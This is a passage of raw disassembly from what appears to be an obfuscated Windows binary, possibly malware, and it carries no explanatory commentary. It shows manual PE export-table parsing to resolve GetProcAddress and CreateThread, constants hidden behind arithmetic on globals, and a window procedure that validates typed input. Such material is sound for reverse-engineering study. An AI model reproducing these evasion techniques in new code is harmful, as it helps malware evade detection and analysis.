		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_44496B:				; CODE XREF: sub_4441D8+57j
					; sub_4441D8+203j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4441D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444970	proc near		; CODE XREF: sub_4423A6+DCp
					; sub_4423A6+14Ep

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_444986:				; CODE XREF: sub_444970+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_444986
		mov	[ebp+var_4], eax
		mov	edi, dword_551258
		sub	edi, 1
		jmp	short loc_444A0B
; ---------------------------------------------------------------------------


loc_44499B:				; CODE XREF: sub_444970+9Ej
		mov	al, [esi+edi]
		cmp	al, 2Eh
		jz	short loc_4449AE
		cmp	al, 2Fh
		jz	short loc_4449AE
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jnb	short loc_4449CD


loc_4449AE:				; CODE XREF: sub_444970+30j
					; sub_444970+34j
		push	offset word_551B62
		call	sub_43AC94
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_50EA28
		add	esp, 10h
		jmp	short loc_4449FC
; ---------------------------------------------------------------------------


loc_4449CD:				; CODE XREF: sub_444970+3Cj
		push	offset byte_551B5D
		call	sub_43AC94
		push	eax
		push	ebx
		call	ds:dword_44802C
		push	offset byte_551B55
		call	sub_43AC94
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_50EA28
		add	esp, 1Ch


loc_4449FC:				; CODE XREF: sub_444970+5Bj
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	ds:dword_44802C
		add	esp, 8
		inc	edi


loc_444A0B:				; CODE XREF: sub_444970+29j
		cmp	edi, [ebp+var_4]
		jb	short loc_44499B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444970	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A15	proc near		; CODE XREF: sub_43E491+2Ap
		push	edi
		push	offset byte_551B47
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551298, eax
		movsx	eax, word_5511CC
		add	eax, dword_551158
		sub	eax, 7
		cmp	eax, dword_551298
		jnz	short loc_444A5C
		push	offset asc_551B39 ; "\n"
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_551298, eax


loc_444A5C:				; CODE XREF: sub_444A15+2Ej
		mov	eax, dword_551128
		sub	eax, 7
		cmp	dword_551298, eax
		jz	short loc_444A8F
		mov	eax, dword_5510DC
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 6
		push	eax
		push	dword_551298
		call	ds:dword_44B1AC
		mov	ds:dword_448024, eax


loc_444A8F:				; CODE XREF: sub_444A15+55j
		pop	edi
		retn
sub_444A15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444A91	proc near		; CODE XREF: sub_441AE5+11p

var_10E		= byte ptr -10Eh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_44B5B0
		mov	eax, dword_5511D4
		mov	edx, dword_5510B4
		sub	edx, 4
		mov	[ebp+eax+var_10E], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_4CEA04
		push	offset byte_551B31
		call	sub_43AC94
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	ds:dword_50EA28
		add	esp, 10h
		mov	eax, dword_55117C
		sub	eax, 5
		mov	[ebp+var_4], eax
		jmp	short loc_444B50
; ---------------------------------------------------------------------------


loc_444B21:				; CODE XREF: sub_444A91+D0j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_444B37
		cmp	al, 5Ah
		jg	short loc_444B37
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_444B37:				; CODE XREF: sub_444A91+98j
					; sub_444A91+9Cj
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 39h
		jg	short loc_444B4D
		cmp	al, 30h
		jl	short loc_444B4D
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_444B4D:				; CODE XREF: sub_444A91+AEj
					; sub_444A91+B2j
		inc	[ebp+var_4]


loc_444B50:				; CODE XREF: sub_444A91+8Ej
		mov	eax, dword_55113C
		add	eax, dword_551138
		sub	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_444B21
		pop	edi
		leave
		retn
sub_444A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444B66	proc near		; CODE XREF: sub_43F4C7+22Ap

var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_289		= byte ptr -289h
var_274		= byte ptr -274h
var_25F		= byte ptr -25Fh
var_252		= byte ptr -252h
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_21F		= byte ptr -21Fh
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_551108
		mov	esi, [ebp+arg_0]
		movsx	edx, word_55111C
		lea	ecx, [edi+edx+0Eh]
		shr	esi, cl
		mov	edx, dword_551184
		lea	edi, [edi+edx+6]
		mov	ecx, edi
		mov	ebx, esi
		shl	ebx, cl


loc_444B98:				; CODE XREF: sub_444B66+4Dj
					; sub_444B66+84j ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_444BB5
		mov	eax, dword_5511C0
		add	eax, 10000h
		sub	ebx, eax
		jmp	short loc_444B98
; ---------------------------------------------------------------------------


loc_444BB5:				; CODE XREF: sub_444B66+3Fj
		mov	eax, dword_551090
		add	eax, 3Bh
		add	eax, dword_5511A0
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, [edx]
		add	eax, ebx
		mov	[ebp+var_118], eax
		mov	ecx, [ebp+arg_0]
		cmp	eax, ecx
		jbe	short loc_444BEC
		mov	eax, dword_5511B8
		add	eax, 0FFF9h
		sub	ebx, eax
		jmp	short loc_444B98
; ---------------------------------------------------------------------------


loc_444BEC:				; CODE XREF: sub_444B66+76j
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_444C12
		movsx	eax, word_551220
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	short loc_444B98
; ---------------------------------------------------------------------------


loc_444C12:				; CODE XREF: sub_444B66+9Aj
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_44799C
		mov	eax, dword_551198
		add	eax, dword_5511A0
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_444C74
; ---------------------------------------------------------------------------


loc_444C52:				; CODE XREF: sub_444B66+11Fj
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 7Ah
		jge	short loc_444C71
		cmp	al, 61h
		jle	short loc_444C71
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_444C71:				; CODE XREF: sub_444B66+F8j
					; sub_444B66+FCj
		inc	[ebp+var_4]


loc_444C74:				; CODE XREF: sub_444B66+EAj
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_103]
		cmp	eax, dword_5511C0
		jnz	short loc_444C52
		mov	eax, dword_551230
		movsx	edx, word_5511C8
		add	edx, eax
		cmp	byte ptr [ebp+edx+var_108], 32h
		jz	short loc_444CFF
		mov	edx, dword_5511D8
		movsx	ecx, word_5510EC
		mov	esi, edx
		add	esi, ecx
		cmp	byte ptr [ebp+esi+var_108], 52h
		jz	short loc_444CFF
		cmp	byte ptr [ebp+edx+var_108+3], 4Ch
		jz	short loc_444CFF
		cmp	byte ptr [ebp+eax+var_108], 4Bh
		jz	short loc_444CFF
		mov	eax, dword_5510F4
		add	eax, dword_55110C
		cmp	byte ptr [ebp+eax+var_108], 33h
		jz	short loc_444CFF
		mov	eax, dword_5511B4
		movsx	edx, word_551260
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_10C], 45h
		jnz	loc_444F61


loc_444CFF:				; CODE XREF: sub_444B66+137j
					; sub_444B66+152j ...
		mov	eax, dword_551124
		add	eax, dword_55121C
		sub	eax, 9
		mov	[ebp+var_108], eax
		jmp	loc_444F4C
; ---------------------------------------------------------------------------


loc_444D18:				; CODE XREF: sub_444B66+3F5j
		mov	eax, [ebp+var_110]
		mov	edx, ebx
		add	edx, [eax+20h]
		mov	[ebp+var_22C], edx
		mov	eax, [ebp+var_108]
		mov	[ebp+var_228], eax
		mov	ecx, dword_5510A8
		sub	ecx, 4
		mul	ecx
		mov	[ebp+var_230], eax
		mov	eax, [ebp+var_22C]
		mov	edx, [ebp+var_230]
		add	eax, edx
		mov	[ebp+var_10C], eax
		mov	eax, [eax]
		add	eax, ebx
		mov	[ebp+var_224], eax
		push	eax
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_44799C
		mov	eax, dword_551128
		add	eax, dword_55121C
		cmp	byte ptr [ebp+eax+var_228+2], 47h
		jnz	loc_444F46
		mov	eax, dword_551158
		add	eax, dword_55126C
		cmp	byte ptr [ebp+eax+var_228+3], 50h
		jnz	loc_444F46
		mov	eax, dword_55113C
		movsx	edx, word_551180
		add	eax, edx
		cmp	[ebp+eax+var_220], 72h
		jnz	loc_444F46
		mov	eax, dword_55110C
		add	eax, dword_55119C
		cmp	byte ptr [ebp+eax+var_230+3], 74h
		jnz	loc_444F46
		movsx	eax, word_55112C
		add	eax, dword_5510C4
		cmp	byte ptr [ebp+eax+var_228+1], 63h
		jnz	loc_444F46
		mov	eax, dword_5510E0
		add	eax, 6
		add	eax, dword_5510C8
		cmp	[ebp+eax+var_21F], 41h
		jnz	loc_444F46
		mov	eax, [ebp+var_110]
		mov	eax, [eax+24h]
		add	eax, ebx
		mov	[ebp+var_290], eax
		mov	eax, [ebp+var_108]
		mov	ecx, dword_5511B8
		add	ecx, dword_551198
		sub	ecx, 8
		mul	ecx
		mov	[ebp+var_294], eax
		mov	eax, [ebp+var_290]
		mov	edx, [ebp+var_294]
		add	eax, edx
		mov	[ebp+var_114], eax
		movzx	eax, word ptr [eax]
		mov	[ebp+var_234], eax
		movsx	ecx, word_551194
		sub	ecx, 3
		mul	ecx
		mov	[ebp+var_298], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_238], edx
		mov	ds:dword_44B1AC, edx
		lea	edi, [ebp+var_252]
		lea	esi, aInitializecrit ; "InitializeCriticalSection"
		mov	ecx, 0Dh
		rep movsw
		mov	dword_55127C, ebx
		lea	edi, [ebp+var_25F]
		lea	esi, aCreatethread ; "CreateThread"
		mov	ecx, 0Dh
		rep movsb
		lea	edi, [ebp+var_274]
		lea	esi, aLeavecriticals ; "LeaveCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_289]
		lea	esi, aEntercriticals ; "EnterCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	eax, [ebp+var_289]
		push	eax
		push	dword_55127C
		call	ds:dword_44B1AC
		mov	ds:dword_54EA5C, eax
		lea	eax, [ebp+var_274]
		push	eax
		push	dword_55127C
		call	ds:dword_44B1AC
		mov	ds:dword_4CDA40, eax
		lea	eax, [ebp+var_25F]
		push	eax
		push	dword_55127C
		call	ds:dword_44B1AC
		mov	ds:dword_550020, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword_55127C
		call	ds:dword_44B1AC
		mov	ds:dword_449FCC, eax
		jmp	short loc_444F61
; ---------------------------------------------------------------------------


loc_444F46:				; CODE XREF: sub_444B66+21Ej
					; sub_444B66+237j ...
		inc	[ebp+var_108]


loc_444F4C:				; CODE XREF: sub_444B66+1ADj
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_444D18


loc_444F61:				; CODE XREF: sub_444B66+193j
					; sub_444B66+3DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444B66	endp


; =============== S U B	R O U T	I N E =======================================



sub_444F66	proc near		; CODE XREF: sub_44718F+67p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ecx, [esp+8+arg_0]
		mov	esi, dword_55119C
		add	esi, dword_5511D4
		movsx	ebx, word_5510EC
		add	ebx, 0EFCDAB89h
		mov	[ecx+esi*4-3Ch], ebx
		movsx	esi, word_55120C
		mov	ebx, dword_551164
		lea	esi, [esi+ebx+2]
		mov	ebx, dword_55122C
		add	ebx, 98BADCFDh
		mov	[ecx+esi*4], ebx
		mov	esi, dword_551158
		movsx	ebx, word_5510AC
		mov	edx, dword_551118
		lea	ebx, [ebx+edx+10325466h]
		mov	[ecx+esi*4+8], ebx
		mov	esi, dword_551114
		add	esi, dword_5511D0
		movsx	ebx, word_551214
		add	ebx, 674522FEh
		mov	[ecx+esi*4-14h], ebx
		pop	esi
		pop	ebx
		retn
sub_444F66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444FE7	proc near		; DATA XREF: sub_43CD37+10B4o
					; sub_43CD37+1104o ...

var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_219		= byte ptr -219h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_445018
		jl	loc_445592
		cmp	eax, 111h
		jz	loc_4450B0
		jmp	loc_445592
; ---------------------------------------------------------------------------


loc_445018:				; CODE XREF: sub_444FE7+19j
		cmp	[ebp+arg_8], 9
		jnz	loc_445592
		mov	eax, dword_551184
		mov	edi, eax
		add	edi, dword_55109C
		sub	edi, 0Fh
		jmp	short loc_44509F
; ---------------------------------------------------------------------------


loc_445034:				; CODE XREF: sub_444FE7+C2j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		cmp	esi, ds:dword_4CC664[eax]
		jnz	short loc_445069
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_4CC668[eax]
		call	ds:dword_48B9FC
		jmp	loc_445592
; ---------------------------------------------------------------------------


loc_445069:				; CODE XREF: sub_444FE7+61j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		cmp	esi, ds:dword_4CC660[eax]
		jnz	short loc_44509E
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_4CC664[eax]
		call	ds:dword_48B9FC
		jmp	loc_445592
; ---------------------------------------------------------------------------


loc_44509E:				; CODE XREF: sub_444FE7+96j
		inc	edi


loc_44509F:				; CODE XREF: sub_444FE7+4Bj
		mov	eax, dword_551174
		add	eax, 63h
		cmp	edi, eax
		jb	short loc_445034
		jmp	loc_445592
; ---------------------------------------------------------------------------


loc_4450B0:				; CODE XREF: sub_444FE7+26j
		mov	edi, dword_5510F4
		sub	edi, 2
		jmp	short loc_4450D5
; ---------------------------------------------------------------------------


loc_4450BB:				; CODE XREF: sub_444FE7+101j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		mov	eax, ds:dword_4CC66C[eax]
		cmp	[ebp+arg_C], eax
		jz	short loc_4450EA
		inc	edi


loc_4450D5:				; CODE XREF: sub_444FE7+D2j
		mov	eax, dword_551174
		add	eax, 63h
		movsx	edx, word_55120C
		add	eax, edx
		cmp	edi, eax
		jb	short loc_4450BB


loc_4450EA:				; CODE XREF: sub_444FE7+EBj
		mov	eax, dword_551244
		add	eax, 5Dh
		cmp	edi, eax
		jz	loc_445592
		movsx	eax, word_551144
		add	eax, dword_5511F0
		mov	byte ptr [ebp+eax+var_210+3], 7Ch
		mov	eax, dword_5510A4
		add	eax, dword_55122C
		mov	byte ptr [ebp+eax+var_210+2], 4Bh
		mov	eax, dword_551204
		mov	edx, dword_551108
		sub	edx, 2
		mov	byte ptr [ebp+eax+var_208+3], dl
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_4CC658[eax]
		call	ds:dword_550038
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44802C
		add	esp, 8
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_4CC660[eax]
		call	ds:dword_550038
		mov	eax, dword_5510C8
		movsx	edx, word_551188
		add	eax, edx
		sub	eax, 5
		movsx	edx, [ebp+var_103]
		cmp	eax, edx
		jnz	short loc_44520B
		push	offset word_551B0E
		call	sub_43AC94
		pop	ecx
		mov	edx, dword_55109C
		add	edx, dword_5511F4
		sub	edx, 0Ch
		push	edx
		mov	edx, dword_551250
		sub	edx, 2
		push	edx
		push	eax
		mov	edx, dword_55114C
		sub	edx, 6
		push	edx
		call	ds:dword_50EA38
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_4CC660[eax]
		call	ds:dword_48B9FC
		jmp	loc_445592
; ---------------------------------------------------------------------------


loc_44520B:				; CODE XREF: sub_444FE7+1CDj
		push	offset byte_551B09
		call	sub_43AC94
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44802C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44802C
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_4CC664[eax]
		call	ds:dword_550038
		mov	eax, dword_551200
		sub	eax, 3
		movsx	edx, [ebp+var_103]
		cmp	eax, edx
		jnz	short loc_4452C2
		push	offset byte_551AE7
		call	sub_43AC94
		pop	ecx
		mov	edx, dword_5511F8
		sub	edx, 7
		push	edx
		mov	edx, dword_55125C
		sub	edx, 5
		push	edx
		push	eax
		mov	edx, dword_551154
		sub	edx, 7
		push	edx
		call	ds:dword_50EA38
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_4CC664[eax]
		call	ds:dword_48B9FC
		jmp	loc_445592
; ---------------------------------------------------------------------------


loc_4452C2:				; CODE XREF: sub_444FE7+28Aj
		push	offset word_551AE2
		call	sub_43AC94
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44802C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44802C
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_4CC668[eax]
		call	ds:dword_550038
		movsx	eax, word_55115C
		add	eax, dword_5511C0
		sub	eax, 3
		movsx	edx, [ebp+var_103]
		cmp	eax, edx
		jz	loc_44545F
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_44533F:				; CODE XREF: sub_444FE7+35Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_44533F
		movsx	ecx, word_551274
		add	ecx, dword_55125C
		sub	ecx, 2
		cmp	eax, ecx
		jb	loc_44545F
		movsx	eax, word_551214
		sub	eax, 3
		mov	[ebp+var_105], al
		jmp	short loc_445392
; ---------------------------------------------------------------------------


loc_445370:				; CODE XREF: sub_444FE7+3C4j
		movzx	eax, [ebp+var_105]
		mov	al, [ebp+eax+var_103]
		cmp	al, 39h
		jg	short loc_445386
		cmp	al, 30h
		jge	short loc_44538B


loc_445386:				; CODE XREF: sub_444FE7+399j
		jmp	loc_44545F
; ---------------------------------------------------------------------------


loc_44538B:				; CODE XREF: sub_444FE7+39Dj
		add	[ebp+var_105], 1


loc_445392:				; CODE XREF: sub_444FE7+387j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_44539B:				; CODE XREF: sub_444FE7+3B9j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_44539B
		movzx	ecx, [ebp+var_105]
		cmp	ecx, eax
		jb	short loc_445370
		movsx	eax, word_5511CC
		add	eax, dword_5511D8
		sub	eax, 0Dh
		mov	[ebp+var_104], al
		jmp	short loc_44543B
; ---------------------------------------------------------------------------


loc_4453C5:				; CODE XREF: sub_444FE7+46Dj
		mov	al, [ebp+var_104]
		mov	[ebp+var_219], al
		jmp	short loc_4453FC
; ---------------------------------------------------------------------------


loc_4453D3:				; CODE XREF: sub_444FE7+42Ej
		movzx	eax, [ebp+var_219]
		movsx	eax, [ebp+eax+var_103]
		movzx	edx, [ebp+var_104]
		movsx	edx, [ebp+edx+var_103]
		cmp	eax, edx
		jnz	short loc_445417
		add	[ebp+var_219], 1


loc_4453FC:				; CODE XREF: sub_444FE7+3EAj
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_445405:				; CODE XREF: sub_444FE7+423j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_445405
		movzx	ecx, [ebp+var_219]
		cmp	ecx, eax
		jb	short loc_4453D3


loc_445417:				; CODE XREF: sub_444FE7+40Cj
		movzx	eax, [ebp+var_219]
		movzx	edx, [ebp+var_104]
		sub	eax, edx
		mov	edx, dword_551160
		sub	edx, 2
		cmp	eax, edx
		jg	short loc_44545F
		add	[ebp+var_104], 1


loc_44543B:				; CODE XREF: sub_444FE7+3DCj
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_445444:				; CODE XREF: sub_444FE7+462j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_445444
		movzx	ecx, [ebp+var_104]
		cmp	ecx, eax
		jb	loc_4453C5
		jmp	loc_4454F8
; ---------------------------------------------------------------------------


loc_44545F:				; CODE XREF: sub_444FE7+349j
					; sub_444FE7+371j ...
		mov	eax, dword_551130
		add	eax, 7CCh
		movsx	edx, word_551274
		add	eax, edx
		push	eax
		call	ds:dword_50EA24
		push	offset byte_551AA9
		call	sub_43AC94
		mov	[ebp-21Ch], eax
		push	offset word_551A92
		call	sub_43AC94
		movsx	edx, word_5510E4
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		push	dword_551100
		call	ds:dword_50EA38
		push	offset word_551A8E
		call	sub_43AC94
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_220], eax
		mov	edx, eax
		push	ds:dword_4CC668[edx]
		call	ds:dword_54EA54
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_224], eax
		push	ds:dword_4CC668[eax]
		call	ds:dword_48B9FC
		jmp	loc_445592
; ---------------------------------------------------------------------------


loc_4454F8:				; CODE XREF: sub_444FE7+473j
		push	offset byte_551A89
		call	sub_43AC94
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44802C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44802C
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_228], eax
		push	ds:dword_4CC658[eax]
		call	ds:dword_48C1E8
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_449014
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_22C], eax
		push	ds:dword_4CC654[eax]
		call	ds:dword_54EA58
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_230], eax
		mov	eax, dword_5511E0
		add	eax, dword_551204
		sub	eax, 0Ch
		mov	edx, [ebp+var_230]
		mov	ds:dword_4CC650[edx], eax


loc_445592:				; CODE XREF: sub_444FE7+1Bj
					; sub_444FE7+2Cj ...
		mov	eax, dword_5511D8
		mov	edi, eax
		add	edi, dword_551264
		sub	edi, 0Ah
		jmp	loc_44567B
; ---------------------------------------------------------------------------


loc_4455A7:				; CODE XREF: sub_444FE7+69Ej
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_8], eax
		cmp	esi, ds:dword_4CC660[eax]
		jnz	short loc_4455DE
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_C], eax
		push	ds:dword_4CC670[eax]
		call	ds:dword_4CE9FC
		jmp	loc_44568B
; ---------------------------------------------------------------------------


loc_4455DE:				; CODE XREF: sub_444FE7+5D1j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_10], eax
		cmp	esi, ds:dword_4CC664[eax]
		jnz	short loc_445612
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_14], eax
		push	ds:dword_4CC674[eax]
		call	ds:dword_4CE9FC
		jmp	short loc_44568B
; ---------------------------------------------------------------------------


loc_445612:				; CODE XREF: sub_444FE7+608j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_18], eax
		cmp	ds:dword_4CC65C[eax], esi
		jnz	short loc_445646
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_1C], eax
		push	ds:dword_4CC67C[eax]
		call	ds:dword_4CE9FC
		jmp	short loc_44568B
; ---------------------------------------------------------------------------


loc_445646:				; CODE XREF: sub_444FE7+63Cj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20], eax
		cmp	ds:dword_4CC668[eax], esi
		jnz	short loc_44567A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_24], eax
		push	ds:dword_4CC678[eax]
		call	ds:dword_4CE9FC
		jmp	short loc_44568B
; ---------------------------------------------------------------------------


loc_44567A:				; CODE XREF: sub_444FE7+670j
		inc	edi


loc_44567B:				; CODE XREF: sub_444FE7+5BBj
		mov	eax, dword_551198
		add	eax, 61h
		cmp	edi, eax
		jb	loc_4455A7


loc_44568B:				; CODE XREF: sub_444FE7+5F2j
					; sub_444FE7+629j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_444FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_445692	proc near		; DATA XREF: .data:005512D0o
		mov	eax, 80004001h
		retn	10h
sub_445692	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44569A	proc near		; CODE XREF: sub_442DEC+95p
					; sub_442DEC+19Ap

var_1001C	= dword	ptr -1001Ch
var_10003	= byte ptr -10003h
var_FFFF	= byte ptr -0FFFFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, dword_4CC540
		cmp	[ebp+arg_4], 43h
		jnz	short loc_4456BF
		lea	edi, dword_44B0A0


loc_4456BF:				; CODE XREF: sub_44569A+1Dj
		cmp	[ebp+arg_4], 50h
		jnz	short loc_4456CB
